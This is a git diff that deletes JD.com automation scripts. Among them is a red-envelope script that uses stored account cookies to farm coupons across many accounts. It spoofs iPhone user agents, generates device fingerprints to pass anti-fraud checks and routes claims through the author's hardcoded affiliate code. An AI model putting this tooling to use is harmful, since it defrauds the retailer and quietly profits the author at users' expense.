data.data.taskInfos || []; - $.viewAppHome = data.data.viewAppHome && data.data.viewAppHome || {}; - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(res); - } - break; - case 'beanTaskList1': - if (data.code == 0 && data.data) { - $.taskList = data.data.taskInfos && data.data.taskInfos || []; - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(res); - } - break; - case 'beanDoTask': - case 'beanHomeIconDoTask': - if (data.data && (data.data.bizMsg || data.data.remindMsg)) { - console.log((data.data.bizMsg || data.data.remindMsg)); - if(data.data.growthResult && data.data.growthResult.sceneLevelConfig){ - console.log(`获得:${data.data.growthResult.sceneLevelConfig.beanNum || 0}京豆`) - $.bean += Number(data.data.growthResult.sceneLevelConfig.beanNum) || 0 - if(!data.data.growthResult.sceneLevelConfig.beanNum){ - console.log(JSON.stringify(data.data.growthResult.sceneLevelConfig)) - } - } - } else { - console.log(res); - } - break; - case 'morningGetBean': - if (data.code == 0 && data.data && data.data.awardResultFlag+"" == "1") { - console.log(`获得:${data.data.beanNum || 0}京豆`) - $.bean += Number(data.data.beanNum) || 0 - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(res); - } - break; - default: - console.log(`未判断的异常${type}`); - } -} -async function getGetRequest(type, body) { - let url = `https://api.m.jd.com/client.action?functionId=${type}&body=${body}&appid=ld&client=apple&clientVersion=${jdVersion}&networkType=wifi&osVersion=${iphoneVersion[0]}.${iphoneVersion[1]}&uuid=${UUID}&openudid=${UUID}`; - const method = `GET`; - const headers = { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - 'Cookie': $.cookie, - "Referer": "https://h5.m.jd.com/", - "User-Agent": UA, - }; - return {url: url, method: method, headers: headers}; -} -// 随机数 -function getRndInteger(min, max) { - return Math.floor(Math.random() * (max - min) ) + min; -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - - - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}isShadowrocket(){return"undefined"!=typeof $rocket}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/gua_RedEnvelope.js b/backUp/gua_RedEnvelope.js deleted file mode 100644 index 117e5e8..0000000 --- a/backUp/gua_RedEnvelope.js +++ /dev/null @@ -1,351 +0,0 @@ -/* -双十一无门槛红包🧧 -ck1助力 作者 -其余助力ck1 -https://u.jd.com/yI2EGVm -跳转到app 可查看助力情况 -0 0,10,18,20,22 * * * gua_RedEnvelope.js -*/ - -let rebateCodes = '' - -const $ = new Env('第二期红包🧧'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -const Faker = $.isNode() ? require('./sign_graphics_validate.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -rebateCodes = $.isNode() ? (process.env.gua_redEnvelope_rebateCode ? process.env.gua_redEnvelope_rebateCode : `${rebateCodes}`) : ($.getdata('gua_redEnvelope_rebateCode') ? $.getdata('gua_redEnvelope_rebateCode') : `${rebateCodes}`); - -rebateCode = '' -message = '' -newCookie = '' -resMsg = '' -const activeEndTime = '2021/11/12 00:00:00+08:00';//活动结束时间 -let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if (nowTime > new Date(activeEndTime).getTime()) { - //活动结束后弹窗提醒 - $.msg($.name, '活动已结束', `请删除此脚本\n咱江湖再见`); - if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); - return - } - $.shareCode = 'zZDrk' - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await getUA() - await run(); - } - } - if(message){ - $.msg($.name, ``, `${message}\nhttps://u.jd.com/yI2EGVm\n\n跳转到app 可查看助力情况`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${message}\n\nhttps://u.jd.com/yI2EGVm\n跳转到app 可查看助力情况`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - resMsg = '' - let s = 0 - let t = 1 - do{ - $.flag = 0 - newCookie = '' - await getUrl() - if(!$.url1){ - console.log('获取url1失败') - t = 0 - break - } - await getUrl1() - if(!$.url2){ - console.log('获取url2失败') - t = 0 - break - } - $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || '2GdKXzvywVytLvcJTk2K3pLtDEHq' - if(Faker){ - let arr = await Faker.getBody($.UA,$.url2) - await getEid(arr) - } - if(!$.eid){ - $.eid = -1 - } - if(s == 0){ - await getCoupons($.shareCode,1) - }else{ - await getCoupons('',1) - } - s++ - if($.flag == 1){ - await $.wait(parseInt(Math.random() * 5000 + 3000, 10)) - } - }while ($.flag == 1 && s < 5) - if($.index == 1 && t == 1){ - await $.wait(parseInt(Math.random() * 2000 + 1000, 10)) - await shareUnionCoupon() - } - if(resMsg){ - message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${resMsg}` - } - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - }catch(e){ - console.log(e) - } -} -function getCoupons(shareId = '',type = 1) { - return new Promise(resolve => { - let opts = { - url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${Date.now()}&loginType=2&body={%22platform%22:4,%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22d%22:%22${rebateCode}%22,%22unionShareId%22:%22${shareId}%22,%22type%22:${type},%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6&h5st=undefined`, - headers: { - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - 'Cookie': `${cookie} ${newCookie}`, - "User-Agent": $.UA , - } - } - $.get(opts, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data); - if(typeof res == 'object'){ - if(res.msg) console.log(res.msg) - if(res.msg.indexOf('上限') === -1 && res.msg.indexOf('登录') === -1){ - $.flag = 1 - } - if(shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined'){ - console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) - } - if(res.code == 0 && res.data){ - let msg = '' - if(res.data.type == 1){ - msg = `获得[红包]🧧${res.data.discount}元 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` - }else if(res.data.type == 3){ - msg = `获得[优惠券]🎟️满${res.data.quota}减${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` - }else if(res.data.type == 6){ - msg = `获得[打折券]]🎫满${res.data.quota}打${res.data.discount*10}折 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` - }else{ - msg = `获得[未知]🎉${res.data.quota || ''} ${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` - console.log(data) - } - if(msg){ - resMsg += msg+'\n' - console.log(msg) - } - } - if(shareId && typeof res.data !== 'undefined' && typeof res.data.groupInfo !== 'undefined'){ - for(let i of res.data.groupInfo || []){ - if(i.status == 2){ - console.log(`助力满可以领取${i.info}元红包🧧`) - await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) - await getCoupons('',2) - } - } - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shareUnionCoupon() { - return new Promise(resolve => { - let opts = { - url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%22${rebateCode}%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, - headers: { - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - 'Cookie': `${cookie} ${newCookie}`, - "User-Agent": $.UA , - } - } - $.get(opts, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data); - if(typeof res == 'object'){ - if(res.code == 0 && res.data && res.data.shareUrl){ - $.shareCode = res.data.shareUrl.match(/\?s=([^&]+)/) && res.data.shareUrl.match(/\?s=([^&]+)/)[1] || '' - console.log('分享码:'+$.shareCode) - if($.shareCode) console.log(`以下账号会助力【京东账号${$.index}】${$.nickName || $.UserName}`) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -function getUrl1() { - return new Promise(resolve => { - const options = { - url: $.url1, - followRedirect:false, - headers: { - 'Cookie': `${cookie} ${newCookie}`, - "User-Agent": $.UA - } - } - $.get(options, async (err, resp, data) => { - try { - setActivityCookie(resp) - $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' - $.url2 = decodeURIComponent($.url2) - $.url2 = $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/)[1] || '' - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function getUrl() { - return new Promise(resolve => { - const options = { - url: `https://u.jd.com/${rebateCode}?s=${$.shareCode}`, - followRedirect:false, - headers: { - 'Cookie': `${cookie} ${newCookie}`, - "User-Agent": $.UA - } - } - $.get(options, async (err, resp, data) => { - try { - setActivityCookie(resp) - $.url1 = data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function setActivityCookie(resp){ - let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(newCookie.indexOf(name.split("=")[1]) == -1) newCookie += name.replace(/ /g,'')+'; ' - } - } - } -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`fcf: API查询请求失败 ‼️‼️`) - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` - rebateCode = 'yI2EGVm' - if($.index != 1){ - let arr = [rebateCodes,'yI2EGVm'] - rebateCode = arr[Math.floor(Math.random() * arr.length)] || rebateCode - if(!rebateCode) rebateCode = 'yI2EGVm' - } - console.log(rebateCode) -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return 